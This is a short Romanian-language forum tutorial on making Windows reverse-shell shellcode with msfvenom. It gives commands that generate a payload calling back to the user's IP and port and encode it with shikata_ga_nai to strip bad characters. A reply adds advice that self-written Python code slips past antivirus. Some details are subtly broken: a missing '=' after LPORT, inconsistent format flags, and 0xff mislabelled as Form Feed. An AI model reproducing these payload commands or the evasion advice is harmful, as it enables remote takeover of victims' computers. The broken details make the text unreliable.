Creare shellcode (msfvenom)

Recommended Posts

Posted (edited)

Pentru inceput o sa introducem urmatoarea comanda:

 

 msfvenom -p windows/shell_reverse_tcp LHOST=<ip-ul tau> LPORT<portul tau> -f c

 

exemplu 1> https://imgur.com/eogvBKp

 

Acum trebuie sa extracem caracterele proaste care impiedica shellcode-ul nostru sa ruleze corect.

 

Exemple de caractere:

 

0x00    NULL (\0)
0x09     Tab (\t)
0x0a     Line Feed (\n)
0x0d    Carriage Return (\r)
0xff      Form Feed (\f) 

 

Pentru a extrage aceste caractere rulam urmatoarea comanda: 

 

msfvenom -p windows/shell_reverse_tcp LHOST=<ip-ul tau> LPORT<portul tau> -F C -e x86/shikata_ga_nai -b "\x00"

 

exemplu 2 > https://imgur.com/Kh8jg5y

 

 

Peste cateva zile o sa mai fac un tutorial, dar fara "msfvenom".

Orice tip de auto payload si script kiddie tools sunt detectate de pana si cele mai slabe antivirusuri indiferent daca sunt criptate "FUD" sau metode "shikata_ga_nai=))"

 

Daca iti scrii propriu cod pana si python trece de antivirusuri, proiectu de WIP am scris la el vreo 2h dar meeeh

 

 

 

UI-ul e facut cu un wrapper pentru ImGui dar still se misca bine si e mult mai usor de scris socketuri in python
